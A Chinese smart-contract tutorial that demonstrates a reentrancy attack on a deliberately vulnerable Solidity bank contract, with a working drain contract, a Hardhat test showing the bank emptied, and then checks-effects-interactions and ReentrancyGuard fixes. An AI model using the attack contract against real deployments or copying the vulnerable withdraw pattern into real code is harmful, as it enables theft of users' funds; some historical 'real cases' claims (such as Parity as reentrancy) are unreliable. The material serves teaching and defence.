10分钟智能合约:进阶实战-6.3 重入攻击提取资金

欢迎订阅专栏10分钟智能合约:进阶实战

实战7:重入攻击提取资金 ------ 当"转账"成为漏洞的钥匙

本实战将完整演示重入攻击(Reentrancy Attack)的经典模式:一个看似正常的银行合约,因为"先转账后更新状态"的错误实现,被攻击者利用 receive() 回调反复提款,最终耗尽合约中所有资金。我们将从漏洞分析、攻击合约编写、测试验证到修复方案,走一遍完整的攻防流程。


一、场景设定

我们有一个 SimpleBank 合约:

  • 用户可存款(deposit),增加自己的余额。
  • 用户可提款(withdraw),提取自己余额中的任意金额。
  • 提款逻辑为:先检查余额充足 → 发送 ETH → 扣除余额。

这个顺序是重入攻击的典型温床。攻击者可以在 withdraw 发送 ETH 时,通过 receive() 回调再次进入 withdraw,而此时余额尚未扣除,于是可以重复提取,直到合约余额耗尽。


二、漏洞合约(VulnerableBank.sol)

solidity 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;
    uint256 public totalDeposits;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    // 存款
    function deposit() external payable {
        require(msg.value > 0, "Amount must be > 0");
        balances[msg.sender] += msg.value;
        totalDeposits += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    // ❌ 漏洞提款:先转账,后更新状态
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Insufficient balance");

        // 危险:外部调用发生在状态更新之前
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] -= _amount;
        totalDeposits -= _amount;
        emit Withdraw(msg.sender, _amount);
    }

    // 查看合约余额
    function getContractBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

漏洞点withdraw 函数中,call 发送 ETH 的操作早于 balances[msg.sender] -= _amount,因此如果 msg.sender 是合约,其 receive() 函数可以在收到 ETH 时再次调用 withdraw,而此时余额尚未被扣减,检查仍然通过,形成递归提取。


三、攻击者合约(Attack.sol)

攻击者部署一个恶意合约,在 receive() 中判断合约余额是否充足,若充足则再次调用 withdraw,直至清空银行。

solidity 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./VulnerableBank.sol";

contract Attack {
    VulnerableBank public bank;
    address public owner;
    uint256 public initialDeposit;

    constructor(address _bank) {
        bank = VulnerableBank(_bank);
        owner = msg.sender;
    }

    // 攻击入口:先存款,然后触发提款
    function attack() external payable {
        require(msg.value > 0, "Need some ETH");
        initialDeposit = msg.value;
        bank.deposit{value: msg.value}();
        // 启动提款,触发重入
        bank.withdraw(msg.value);
    }

    // 收到 ETH 时的回调 ------ 重入点
    receive() external payable {
        // 如果银行合约余额 >= 攻击者余额,继续提款
        if (address(bank).balance >= bank.balances(address(this))) {
            uint256 balance = bank.balances(address(this));
            if (balance > 0) {
                bank.withdraw(balance);
            }
        }
    }

    // 提取攻击所得
    function withdrawProfit() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }

    // 获取本合约余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

攻击流程

  1. 攻击者部署 Attack 合约,传入 VulnerableBank 地址。
  2. 攻击者调用 attack 并发送 1 ETH。
  3. attack 调用 bank.deposit{value: 1 ETH}(),银行记录攻击者余额为 1 ETH。
  4. attack 调用 bank.withdraw(1 ether)
    • 银行检查余额充足(1 ≥ 1)。
    • 银行向攻击者合约发送 1 ETH,触发 receive()
    • receive() 中检查银行余额是否还够支付攻击者余额(此时攻击者余额仍为 1),若满足则再次调用 bank.withdraw(1 ether)
    • 递归继续,直到银行余额不足以支付 1 ETH。
  5. 攻击者最后调用 withdrawProfit() 将所有窃取的 ETH 转回自己的 EOA 账户。

四、实战操作(Hardhat + 测试脚本)

以下测试脚本使用 Hardhat 模拟攻击过程,并验证资金是否被全部取走。

javascript 复制代码
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("重入攻击", function () {
    let bank, attack;
    let owner, attacker, user;

    beforeEach(async function () {
        [owner, attacker, user] = await ethers.getSigners();

        // 部署漏洞银行
        const Bank = await ethers.getContractFactory("VulnerableBank");
        bank = await Bank.deploy();
        await bank.deployed();

        // 存入一些初始资金(模拟其他用户)
        await owner.sendTransaction({
            to: bank.address,
            value: ethers.utils.parseEther("10"),
        });
        // 用户存款
        await bank.connect(user).deposit({
            value: ethers.utils.parseEther("5"),
        });
        // 此时银行总余额 15 ETH
    });

    it("攻击者通过重入盗走所有资金", async function () {
        // 1. 部署攻击合约
        const Attack = await ethers.getContractFactory("Attack");
        attack = await Attack.connect(attacker).deploy(bank.address);
        await attack.deployed();

        // 2. 获取攻击前银行余额
        const initialBankBalance = await bank.getContractBalance();
        console.log(`攻击前银行余额: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

        // 3. 攻击者发起攻击,发送 1 ETH
        await attack.connect(attacker).attack({
            value: ethers.utils.parseEther("1"),
        });

        // 4. 检查银行余额是否归零
        const finalBankBalance = await bank.getContractBalance();
        console.log(`攻击后银行余额: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
        expect(finalBankBalance).to.equal(0);

        // 5. 攻击者提取利润
        await attack.connect(attacker).withdrawProfit();
        const profit = await ethers.provider.getBalance(attacker.address);
        // 攻击者投入 1 ETH,最终应获得约 16 ETH(因为银行有 15 ETH + 攻击者的 1 ETH = 16,但扣除gas)
        // 为了测试,我们只检查大于 10 ETH
        expect(profit).to.be.gt(ethers.utils.parseEther("10"));
    });
});

预期输出

makefile 复制代码
攻击前银行余额: 15.0 ETH
攻击后银行余额: 0.0 ETH

攻击者成功提取了合约中的所有 ETH(包括其他用户的存款)。


五、防御措施

方案一:遵循 检查-生效-交互 模式(CEI,最根本)

将状态更新放在外部调用之前:

solidity 复制代码
function withdraw(uint256 _amount) external {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    // ✅ 先更新状态
    balances[msg.sender] -= _amount;
    totalDeposits -= _amount;
    // ✅ 再发送 ETH
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
}

这样,即使攻击者回调 withdraw,余额已经被扣减,require 检查不会通过,攻击失效。

方案二:使用重入锁(第二道防线)

导入 OpenZeppelin 的 ReentrancyGuard

solidity 复制代码
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    function withdraw(uint256 _amount) external nonReentrant {
        // 逻辑不变,但 nonReentrant 确保同一交易中不能再次进入
    }
}

nonReentrant 修饰符会在函数调用时设置一个锁,如果重入发生,会 revert

方案三:使用 transfersend(不推荐)

transfersend 仅转发 2300 gas,不足以执行重入攻击者的合约逻辑,但在现代环境中,call + 检查已成为主流,且 transfer 的固定 gas 可能导致某些接收方合约失败。


六、真实案例

  • The DAO 攻击(2016):以太坊历史上最著名的重入攻击,导致 360 万 ETH 被窃取,最终导致以太坊硬分叉。
  • Parity 钱包(2017):因重入漏洞导致多签钱包被攻击,损失约 3000 万美元。
  • 多次 DeFi 协议(2020-2021):如 Uniswap、SushiSwap 等早期版本均遭遇过重入攻击变种。

七、总结

  • 重入攻击的本质:合约在状态更新前执行外部调用,攻击者利用回调钻空子,使不变量(如余额)被破坏。
  • 核心防御 :永远 先更新状态,再外部调用(CEI 模式),并辅以重入锁。
  • 审计重点:所有涉及资产转移的函数,必须检查外部调用是否发生在状态修改之后。
  • 现代最佳实践 :使用 OpenZeppelin 的 ReentrancyGuard 作为通用保护,但 CEI 模式仍是基础。
相关推荐
木西2 天前
实战:基于 Solidity 0.8.27 与 OpenZeppelin V5 构建多链恶搞代币(以 SPX6900 为例)
web3·智能合约·solidity
2601_961963384 天前
Spring Boot集成电子签章的7个典型问题与解决方案:从入门到生产级实践
大数据·人工智能·spring boot·python·区块链·智能合约
Maimai108087 天前
Web3 前端交易系统如何落地:从下单 UI 到 Operation 编码、签名与实时状态更新
前端·react.js·ui·架构·前端框架·web3
Maimai108087 天前
Web3 前端实时通信如何落地:从 SSE 订阅到行情、订单与账户状态更新
前端·javascript·react.js·前端框架·web3·状态模式
用户887665426637 天前
Web3 前端实时通信如何落地:从 SSE 订阅到行情、订单与账户状态更新
前端·react.js·web3
Rockbean7 天前
10分钟智能合约:进阶实战-4.3 Delegatecall漏洞
web3·智能合约·solidity
2601_961963388 天前
技术解剖:哈希值、区块链与CA认证如何守护电子合同安全?
网络·人工智能·安全·区块链·智能合约·政务
2601_961963388 天前
从“电子化”到“自动化”:2026年智能合约与电子合同融合的技术逻辑与法律适配
网络·人工智能·区块链·智能合约·政务
2601_961963388 天前
从OCR到NLP:AI技术如何赋能电子合同智能审核与风险预警?
网络·人工智能·安全·金融·智能合约